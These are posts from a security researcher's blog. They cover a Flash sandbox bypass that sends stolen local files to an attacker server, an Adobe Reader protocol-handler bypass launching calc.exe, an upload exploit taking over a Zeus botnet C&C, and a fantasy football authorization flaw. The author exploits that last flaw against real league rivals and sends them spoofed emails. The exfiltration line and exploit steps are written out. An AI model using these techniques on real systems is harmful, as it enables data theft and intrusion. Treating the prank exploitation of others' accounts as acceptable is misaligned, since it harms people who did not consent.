Friday, June 10, 2011

Turning the Tables - Part II

I’m posting some of the research I’ve been working on over the last few months. I planned on submitting some of this research to the Blackhat/DEFCON CFP, but it looks like I’ll be tied up for most of the summer and I won’t be able to make it out to Vegas for BH or DEFCON this year (pour some out and “make it rain” for me). The gist of the research is this: I’ve collected of number of malware C&C software packages. I set up these C&Cs in a virtual network and audited the applications and source code (when available) for bugs. The results were surprising; most of the C&C software audited has pretty crappy security.

This week's sample is an auth bypass and SQL injection on a BlackEnergy C&C page. The first of the samples can be found here: http://software-security.sans.org/blog/2011/06/10/spot-the-vuln-rabbit-authbypass-and-sqli

I’ll post more samples in the coming weeks.

Attacking malware C&C is an interesting proposition. Exploiting a single host can result in the transfer of hundreds or even thousands of hosts from one individual to another. I’m not the first to note that malware and C&C software is evolving. Gone are the days of simple IRC bots receiving clear text commands from an IRC server. Today’s C&C’s are full fledged, feature rich applications with much complexity. Complexity is the enemy of security, even malware authors cannot escape this. There is no magic bullet, even malware authors face the difficulties of writing secure code. This is especially so if their customers are paying money for C&C software and demand newer features and robust interfaces. Today’s malware landscape looks much like a typical software enterprise with paying customers, regularly scheduled feature updates, marketing, and a sprinkling of PR. Who knows, maybe in the near future these malware enterprises will have dedicated, on-call security engineering teams and a formal SDL process :)

Monday, January 3, 2011

Bypassing Flash’s local-with-filesystem Sandbox

A few weeks ago, I posted a description of a set of bugs that could be chained together to do “bad things”.  In the PoC I provided, a SWF file reads an arbitrary file from the victim's local file system and passes the stolen content to an attacker's server.

One of the readers (PZ) had a question about the SWFs local-with-filesystem sandbox, which should prevent SWFs loaded from the local file system from passing data to remote systems.  Looking at the documentation related to the sandbox, we see the following:
Local file describes any file that is referenced by using the file: protocol or a Universal Naming Convention (UNC) path. Local SWF files are placed into one of four local sandboxes:

The local-with-filesystem sandbox—For security purposes, Flash Player places all local SWF files and assets in the local-with-file-system sandbox, by default. From this sandbox, SWF files can read local files (by using the URLLoader class, for example), but they cannot communicate with the network in any way. This assures the user that local data cannot be leaked out to the network or otherwise inappropriately shared.

First, I think the documentation here is a bit too generous.  SWFs loaded from the local file system do face some restrictions.  The most relevant restrictions are probably:

  1. The SWF cannot make a call to JavaScript (or vbscript), either through URL or ExternalInterface

  2. The SWF cannot call a HTTP or HTTPS request.

  3. Querystring parameters (ex. Blah.php?querystring=qs-value) are stripped and will not be passed (even for requests to local files)


Unfortunately, these restrictions are not the same as, “cannot communicate with the network in any way” which is what is stated in the documentation.  The simplest way to bypass the local-with-filesystem sandbox is to simply use a file:// request to a remote server.  For example, after loading the content from the local file system an attacker can simply pass the contents to the attacker server via getURL() and a url like:  file://\\192.168.1.1\stolen-data-here\

Fortunately, it seems you can only pass IPs and hostnames for system on the local network (RFC 1918 addresses).  If an attacker wants to send data to a remote server on the Internet we’ll have to resort to a couple other tricks.  A while back, I put up a post on the dangers of blacklisting protocol handlers.  It's basically impossible to create a list of "bad" protocol handlers in siutation like this.  In the case of the local-with-filesystem sandbox, Adobe has decided to prevent network access through the use of protocol handler blacklists.  If we can find a protocol handler that hasn’t been blacklisted by Adobe and allows for network communication, we win. 

There are a large number of protocol handlers that meet the criteria outlined in the previous sentence, but we’ll use the mhtml protocol handler as an example.  The mhtml protocol handler is available on modern Windows systems, can be used without any prompts, and is not blacklisted by Flash.  Using the mhtml protocol handler, it’s easy to bypass the Flash sandbox:

getURL('mhtml:http://attacker-server.com/stolen-data-here', '');

Some other benefits for using the mhtml protocol handler are:

  1. The request goes over http/https and port 80/443 so it will get past most egress filtering

  2. If the request results in a 404, it will silently fail.  The data will still be transmitted to the attackers server, but the victim will never see an indication of the transfer

  3. The protocol handler is available by default on Win7 and will launch with no protocol handler warning


There you go, an easy way to bypass Flash’s local-with-file system sandbox.  Two lessons here.  One, running un-trusted code (whether it’s an executable, javascript, or even a swf) is dangerous.  Two, protocol handler blacklists are bad.  Hope this helps PZ!

Wednesday, December 22, 2010

Expanding the Attack Surface

Imagine there is an un-patched Internet Explorer vuln in the wild.  While the vendor scrambles to dev/test/QA and prime the release for hundreds of millions of users (I’ve been there… it takes time), some organizations may choose to adjust their defensive posture by suggesting things like, “Use an alternate browser until a patch is made available”.

So, your users happily use FireFox for browsing the Internet, thinking they are safe from any IE 0dayz… after all IE vulnerabilities only affect IE right?  Unfortunately, the situation isn’t that simple.  In some cases, it is possible to control seemingly unrelated applications on the user’s machine through the browser.  As an example (I hesitate to call this a bug, although I did report the behavior to various vendors) we can use various browser plugins to jump from FireFox to Internet Explorer and have Internet Explorer open an arbitrary webpage.

  1. Requirements:  Firefox, Internet Explorer, and Adobe PDF Reader (v9 or X)

  2. Set the default browser to Internet Explorer (common in many enterprises)

  3. Open Firefox and browse to the following PDF in Firefox: http://xs-sniper.com/sniperscope/Adobe/BounceToIE.pdf


Firefox will call Adobe Reader to render the PDF, Adobe Reader will then call the default browser and pass it a URL, the default browser (IE) will render the webpage passed by the PDF.

The example I provide simply jumps from Firefox to IE and loads http://xs-sniper.com/blog/, however I’m free to load any webpage in IE.  To be fair, we can substitute Firefox for Safari or Opera and it will still work.

Achieving this is simple.  We use a built-in Adobe Reader API called app.launchURL().  Looking at the documentation for the launchURL() API, we see that launchURL() takes two parameters: cURL (required) and bNewFrame (optional).  cURL is a string that specifies the URL to be launched and bNewFrame provides an indication as to whether cURL should be launched in a “new window of the browser application”.  In this case, “new window of the browser application” really means the default browser.

A simple one liner in Adobe Reader JavaScript gets it done:

app.launchURL("http://xs-sniper.com/blog/",true);

Happy hunting…

Thursday, December 16, 2010

Will it Blend?

I had the honor of presenting at RuxCon and BayThreat this year.  Both were great conferences with great people.  I’m always humbled when I learn of what others are doing in the security community and even more humbled when asked to present.  I gave a presentation called Will It Blend.  The title of the talk is based on a series of videos from Blendtec (I could watch these videos all day).  The content of the talk however is about “blended threats”.  During the talk I presented a set of bugs I discovered in various browser plug-ins.  Independently, these bugs are pretty lame.  However, if we chain the bugs together, we get something that’s actually pretty interesting.  If you’re interested in taking a look at the slides, you can find them here (PPTPLEX format) or on the RuxCon/Baythreat websites.  The vuln chaining is a little difficult to visualize by looking at the slides, so at the end of my talk I gave a live demo of the bugs being chained together.  For those who were unable to attend my talk live, I’ve created a video to help understand how the exploit would be pulled off (http://www.youtube.com/watch?v=fMFVVNE8ytQ).  It will help to go over the slides first, then watch the video.

Most of the relevant code is available in the slide deck (its really simple).  There are around 5 different bugs in play here, involving a variety of vendors.  All the vendors involved have been contacted.  The oldest bug here is over a year old, the youngest is about five months old.  Kudos to Adobe.  Adobe X has changed its caching behavior, so this specific attack cannot be used against Adobe X users. 

I'm not sure where the blame lies for fixing these issues.  On one hand, if a single vendor addresses their portion of the attack, the entire chain of vulnerabilities is broken.  On the other hand, if only one vendor addresses their issue, all we have to do is find some other software/plugin that buys us the same capability and its game on again.

I hope someone finds the presentation useful.  Happy hunting.

Monday, October 18, 2010

PDF RCE et al. (CVE-2010-3625, CVE-2010-0191, CVE-2010-0045)

A few weeks ago, Adobe released an advisory for a ton of Acrobat Reader bugs.  Buried in the long list of Acrobat Reader bugs was a patch for a vulnerability I reported to Adobe.  Taking a look at the entry in the advisory, we see the following description:
(CVE-2010-3625)

This update resolves a prefix protocol handler vulnerability that could lead to code execution

What’s interesting is many months ago (in April 2010), Adobe released a similar patch for a different bug I had reported to them.  The description from April’s advisory is as follows:
(CVE-2010-0191).

This update resolves a prefix protocol handler vulnerability that could lead to code execution

Going back even further, there is an Apple advisory that has a bug with a description similar to the Adobe advisories:
CVE-2010-0045

Description: An issue in Safari's handling of external URL schemes may cause a local file to be opened in response to a URL encountered on a web page. Visiting a maliciously crafted website may lead to arbitrary code execution.

I’ll walk you through the latest PDF bug, but the symptoms for all the bugs are very similar.  As you know, PDF Reader supports the use of JavaScript.  One of the JavaScript APIs supported by Acobat Reader (>7.0) is app.launchURL().  app.launchURL() takes two parameters, the URL to be opened and a flag that specifies whether the URL should be opened in a new window.  Typical usage of app.launchURL() looks something like this:
app.lauchURL(“http://www.google.com” , false);

Simple enough.  Naturally, when a string that looks like URI is encountered one of the first things that’s attempted is to point the URI value to a file:// location and observe whether the local file is opened.  In this case, access to file:// is blocked by Adobe reader.  Next up are arbitrary protocol handlers.  Tests for mailto://, foo://, bar:// all work, however JavaScript:// seems to be blocked.  This feels like a protocol handler blacklist.  I think there was a SouthPark episode about using blacklists last year…



There is a simple way to bypass most protocol handler blacklists.  This bypass was the key to CVE-2010-3625, CVE-2010-0191, and CVE-2010-0045.  The trick is to simply append a “URL:” prefix protocol handler to your URI.  You can test this by opening Internet Explorer (IE8 on Win7) and typing “url:javascript:alert(1)”.  I must give credz where credz are due.  I first learned of this prefix protocol handler when looking at the source code for HTMLer (which is a port of MangleMe).



With the prefix protocol handler in hand, we’re all set to bypass the protocol handler blacklist:
app.launchURL(“url:file://c:/windows/system32/calc.exe”, true);

There is some weird shell behavior here (which I won’t get into), but the key pieces are (as far as this bug is concerned):  the url: prefix protocol handler and setting the “New Window” flag to true.  A link to a simple PoC is provided below.  This bug worked on Win7 with no prompts.  For some users, this bug will not work if IE is already running (must be launched from a browser other than IE).  For users without Adobe’s April patch, this bug should work on all browsers in most configurations.

http://xs-sniper.com/sniperscope/Adobe/calc.pdf

There you go, a simple yet effective way to bypass a protocol handler blacklist.  I hope that knowledge of this prefix protocol handler provides that missing piece you needed.  Happy hunting.

Sunday, September 26, 2010

Turning the Tables - Part I

Boom… I've just taken over a Zeus C&C.  I fire up a second, clean VM just to verify... yup it works.  Ok, now what?

A while back, I came across a kit for setting up a Zeus botnet.  It was an interesting package.  Looking at the C&C, bot builder, the actual bot, and user manual was pretty cool (yes, it comes with a user manual).  You have to admire the some of the tricks used by the bot, these guys are clever.  I set up a mini-botnet on a testing network and began to examine how the botnet worked.  Eventually, I came across some bugs (even a blind squirrel finds a nut every once in a while).  There are some fascinating things to consider when finding bugs in software that is used primarily by criminals, but I won’t bore you with that now.  Instead I’d like to share with you some of the more interesting parts of my research.

Before I proceed, there are a few things I’d like to state:

  1. This research was done on my own time on my own equipment.  The thoughts on my blog are my own.

  2. Disclosure of this issue is a bit tricky.  I’ll cover some of the issues I came across in a future post.

  3. I’m releasing the details of my work because I felt it was important for the public to have this knowledge to better defend their networks.

  4. All the work presented here is for academic and research purposes only.


In the spirit of responsible disclosure I contacted security@zeus.com and informed them that I may have discovered a security issue with their C&C server software.  The Zeus.com team informed me that they were a cloud service provider and didn’t have C&C software.  Zeus.com then proceeded to spam me with advertisements for their latest products.  I then contacted security@botnets-r-us.ru but received no response.  Botnets-r-us.ru then proceeded to spam me with Viagra ads and executables for me to download.  With no other alternative and an email inbox full of spam, I have no choice but to provide full disclosure of the vulnerability to the public.

Taking a look at the documentation that accompanies the Zeus package, I see change log indicates that I’m working with a recent version of Zeus (likely released earlier this year).



Examining the source code from the C&C confirms that I’m working with version 1.3.2.1, which was released on January 15th of this year.



I haven’t tested this exploit against newer versions of the C&C, but this post should provide everything you need to check yourself.  If you do happen to have a newer version of the C&C code (or kits from other botnets), please contact me (xssniper  -at- gmail) I’d love to have a look.  I looked on the Internetz to see if someone else had discovered this, but I found nothing.  If this bug was previously disclosed and I failed to credit you, please let me know (I don’t follow the bot scene very closely).

The C&C software has a PHP based web application that provides a control panel for botmasters and also serves as a gateway for bot communication.  There are several websites that have described the C&C so I won’t spend much time on that here, but I do feel it’s important to touch on a few things.  When the C&C web application is installed, very little attack surface is exposed to unauthenticated users.  The two most interesting pages available to unauthenticated users are the login page and the gateway.  By default, the login page is located at /cp.php.  By default, the gateway is located at /gate.php.  Some botmasters rename the gate.php file, however if you’ve managed to capture a live Zeus bot it will phone home to a php file.  The php file that the bot phones home to is the gateway (gate.php).  For clarity, let’s assume the gateway is at /gate.php (the default).  The gateway will only respond to requests from bots.  For example, if you point your browser to /gate.php, you’ll get a blank page back:



Luckily, we have both bot samples and the source for the C&C, allowing us to reverse the protocol needed for communication to the gateway.  Let’s walk through a couple key pieces of the gate.php source.  First, the gateway requires a POST request.
if(@$_SERVER['REQUEST_METHOD'] !== 'POST')die();

require_once('system/global.php');

require_once('system/config.php');

If the gateway receives a POST request, it grabs the POST body, performs some basic validation, and then decrypts the data using the RC4 algorithm.
$data      = @file_get_contents('php://input');

$data_size = @strlen($data);

if($data_size < HEADER_SIZE + ITEM_HEADER_SIZE)die();

$data = RC4($data, BOTNET_CRYPTKEY);

This is not a typical POST request with POST parameters in the body.  Instead, this POST request contains a binary blob as its POST body (there are no POST parameter names).  The last line in the code snippet provided above mentions RC4 and a PHP constant named BOTNET_CRYPTKEY.  In case you’re wondering, the RC4 key (BOTNET_CRYPTKEY) is set by the botmaster when setting up the C&C and is stored server side (in the /system/config.php file).  As RC4 is a symmetric algorithm, the bot must also have a representation of the key.  The key is embedded into the bot (supplied via configuration file).  So once you have captured a live bot, you’ll be able to extract the RC4 key.  The key can be extracted from memory or if you are able to decrypt the config.bin file, you’ll see the key passed as part of the configuration for the bot.  If you're interested in doing this, check out threatexpert.com.  Worst case, you can try brute forcing the key.

Once the data is decrypted, the gateway does a quick sanity check.
if(strcmp(md5(substr($data, HEADER_SIZE), true), substr($data, HEADER_MD5, 16)) !== 0)die();

and proceeds to unpack the data if the sanity check turns out ok
$list = array();

for($i = HEADER_SIZE; $i < $data_size;)

{

$k = @unpack('L4', @substr($data, $i, ITEM_HEADER_SIZE));

$list[$k[1]] = @substr($data, $i + ITEM_HEADER_SIZE, $k[3]);

$i += (ITEM_HEADER_SIZE + $k[3]);

}

unset($data);

Once the data is unpacked, we will have an array ($list[]) populated with various configuration and log data being passed from the bot to the C&C.  Using what we've discovered thus far, we can create a fake bot that is capable of communicating with the C&C.  Depending on the values held in the $list array, the gateway executes various functions.  One of the functions I found interesting was this:
else if(!empty($list[SBCID_BOTLOG]) && !empty($list[SBCID_BOTLOG_TYPE]))

{

$type = ToInt($list[SBCID_BOTLOG_TYPE]);

if($type == BLT_FILE)

{

//Расширения, которые представляют возможность удаленного запуска.

$bad_exts = array('.php3', '.php4', '.php5', '.php', '.asp', '.aspx', '.exe', '.pl', '.cgi', '.cmd', '.bat', '.phtml');

$fd_hash  = 0;

$fd_size  = strlen($list[SBCID_BOTLOG]);

//Формируем имя файла.

if(IsHackNameForPath($bot_id) || IsHackNameForPath($botnet))die();

$file_root = REPORTS_PATH.'/files/'.urlencode($botnet).'/'.urlencode($bot_id);

$file_path = $file_root;

$last_name = '';

$l = explode('/', (isset($list[SBCID_PATH_DEST]) && strlen($list[SBCID_PATH_DEST]) > 0 ? str_replace('\\', '/', $list[SBCID_PATH_DEST]) : 'unknown'));

foreach($l as &$k)

{

if(IsHackNameForPath($k))die();

$file_path .= '/'.($last_name = urlencode($k));

}

if(strlen($last_name) === 0)$file_path .= '/unknown.dat';

unset($l);

//Проверяем расширении, и указываем маску файла.

if(($ext = strrchr($last_name, '.')) === false || in_array(strtolower($ext), $bad_exts) !== false)$file_path .= '.dat';

$ext_pos = strrpos($file_path, '.');

//FIXME: Если имя слишком большое.

if(strlen($file_path) > 180)$file_path = $file_root.'/longname.dat';

//Добавляем файл.

for($i = 0; $i < 9999; $i++)

{

if($i == 0)$f = $file_path;

else $f = substr_replace($file_path, '('.$i.').', $ext_pos, 1);

if(file_exists($f))

{

if($fd_size == filesize($f))

{

if($fd_hash === 0)$fd_hash = md5($list[SBCID_BOTLOG], true);

if(strcmp(md5_file($f, true), $fd_hash) === 0)break;

}

}

else

{

if(!CreateDir(dirname($file_path)) || !($h = fopen($f, 'wb')))die();

flock($h, LOCK_EX);

fwrite($h, $list[SBCID_BOTLOG]);

flock($h, LOCK_UN);

fclose($h);

break;

}

}

}

A quick look at the function above shows that if $list[SBCID_BOTLOG] and $list[SBCID_BOTLOG_TYPE] are set to the correct values, we can trick the C&C into thinking we have a bot that needs to upload a logfile.  Before the C&C accepts our supplied logfile, it first attempts some validation by checking to see if the file extension we’re providing is in a blacklist of “bad extensions” and whether the filepath supplied is “IsHackNameForPath” (a custom validation routine written by the C&C author).
$bad_exts = array('.php3', '.php4', '.php5', '.php', '.asp', '.aspx', '.exe', '.pl', '.cgi', '.cmd', '.bat', '.phtml');

…<snip>...

if(($ext = strrchr($last_name, '.')) === false || in_array(strtolower($ext), $bad_exts) !== false)$file_path .= '.dat';

...<snip>

//Формируем имя файла.
if(IsHackNameForPath($bot_id) || IsHackNameForPath($botnet))die();

We know the web server supports PHP because the C&C web management console is written in PHP.  If we can pretend like we're a bot, convince the C&C that we have a "BOTLOG" that needs to be uploaded, and instead of uploading a "BOTLOG" we upload a PHP file with our PHP content, we could have arbitrary code execution on the C&C.  It seems the C&C code protects against this attack… or does it?  Unfortunately for the botmaster, the PHP interpreter is very liberal on extensions.  Some examples of the quirky extension madness associated with PHP can be found on slide 23 in this presentation (given by Kuza55 at CCC 2007).  In this case, I want to upload a PHP file to both IIS and Apache (the supported platforms for the C&C) so I use the trailing dot trick.  All I have to do is append a trailing period to the end of the .php extension (.php.), and I can bypass the extension check yet have the file contents run by the PHP interpreter.  Once the extension check is bypassed, the value I supplied for $list[SBCID_BOTLOG] is written as content to the file I specified on the webserver.  Now I just have to guess where my PHP file was written.  This line of PHP in the gateway source gives us a clue.
$file_root = REPORTS_PATH.'/files/'.urlencode($botnet).'/'.urlencode($bot_id);

The default location for the BOT LOG is: C&C-webroot\_reports\files\<Name of the botnet>\<Bot ID>\

I also control (via values passed from my fake bot to the C&C) the two subdirectory names (in this example: “BKs_BOTNET” for <Name of the botnet> and “BK_PWNZ_UR_CnC” for <Bot ID>).  If the botmaster is using a default install and hasn’t relocated the _reports folder, we should be able to simply guess where our PHP file was written to (/_reports/files/BKs_BOTNET/BK_PWNZ_UR_CnC/pwnd.php).



If the botmaster was smart and relocated the _reports folder, guessing where the uploaded PHP file becomes more difficult.  We can take all the guesswork out by using some directory traversal tricks and planting the PHP file directly into the webroot.

Boom… we've just taken over a Zeus C&C.  Once we have our own PHP code running on the C&C, we can include the /system/config.php file.  Config.php contains the location of the MySQL database as well as the DB username and password (via connection string), giving us complete control over the management console and all the bots associated with this C&C.

For those interested in “studying” this vulnerability, I’ve put together a Proof of Concept.  All you have to do is provide the location of the gateway (provided by the bot), the RC4 key (provided by the bot), and the PHP code that you want to upload.

Tuesday, September 21, 2010

Put me in Coach!

*** UPDATE ***
Rex Grossman is out for the season.  ESPN has fixed the issues I discussed below.  However, before you give up on your fantasy football season, apparently there is a stored XSS that I missed.  This guy will have details posted soon -->  http://lanmaster53.com/?p=182 .  The fun never stops :)
*** UPDATE ***

First, some background.  I love American football.  My team is the Chicago Bears.   I’ve been a Bears fan since the 80's when Walter Payton, Mike Singletary, and Jim McMahon dominated the field.  The last few years as a Bears fan has been difficult, but I’ve hung in there.  A few years ago the Bears had a quarterback named Rex Grossman.  To put it lightly, he wasn’t the greatest QB a team could have, in fact the Bears have traded him away.  I never really liked him.


Earlier this month, I was invited to play in a fantasy football league.  I’ve never played fantasy football, but I understood the rules and had many friends who played.  My friends (none of which work with computers for a living) needed one more player to round out a league of 10 teams so I decided to give it a shot.  Before the “season” begins, each player selects the football players they think will be the most successful during the season.  As my best player, I selected a running back named Ryan Grant who runs for the Green Bay Packers.  I was shocked to see my star player injured in the first game of the season with a season ending injury.  As I navigated the fantasy football website to find a replacement player, I came across several interesting issues.  There are some issues that allow me to cheat and win (dropping arbitrary players from another teams roster, modifying another teams starting lineup), but I want to win fair and square (I guess that Midshipman honor code has stuck with me)… but as a notorious prankster I figured I could have a little fun with the bugs I discovered.

When a team decides to add a new player to their roster the player navigates through several menus and selection screens.  The final confirmation URL for adding a player to the bench looks something like this:
leagueId=111111&incoming=1&trans=2_4480_-1_1002_3_20

The leagueId represents the “league” in which our teams are playing.  The trans parameter represents the actual transaction.  Looking at the trans parameter, I’ve broken the various pieces into the following:
2 <-- this is the type of transaction to be executed

4480 <-- This is the unique player ID for Rex Grossman

-1 <-- some sort of increment value/ counter?

1002 <-- another value that describes the transaction

3 <-- team id for my team

20 <-- not sure what this number is

Unfortunately for the other players in my league, the fantasy football application does a poor job of authorization checking.  These poor checks allow me to manipulate the trans parameter to add an arbitrary player to any teams roster.   I decided to add Rex Grossman to one of my rivals bench (not the starting lineup).



Soon after adding Rex to my rival’s bench, I spoofed an email from Rex Grossman with a plea to play.


A few days later, my rival was posting to the entire league that Rex Grossman had magically added himself to his roster and had emailed him to play.  My rival then dropped him from the roster before the next weeks play.



Unfortunately for my rival, Rex is a persistent player.  This week I traded him from waivers for another player on my rivals team.  Trading from waivers/free agency is a bit more complicated and the query string is a bit more complicated, but the overall gist is the same (I also had to fake the waiver transaction ID).
trans=3_2753_1_20_-1_1002|2_4480_-1_1002_1_20

The numbers before the “|” character belong to the player who is to be dropped from the roster (the bench) to waivers while the numbers after the pipe character represent the player to be added to the roster (to the bench, not the starting lineup).  In this example, I’ve dropped T.J. Houshmandzadeh off of my rival’s bench roster and added Rex Grossman back to the bench.


Of course, another spoofed email goes out to explain the situation.



We’ll see what next week brings.  I’ve contacted the fantasy football game provider (probably the largest provider in the US), hopefully they’ll fix it soon…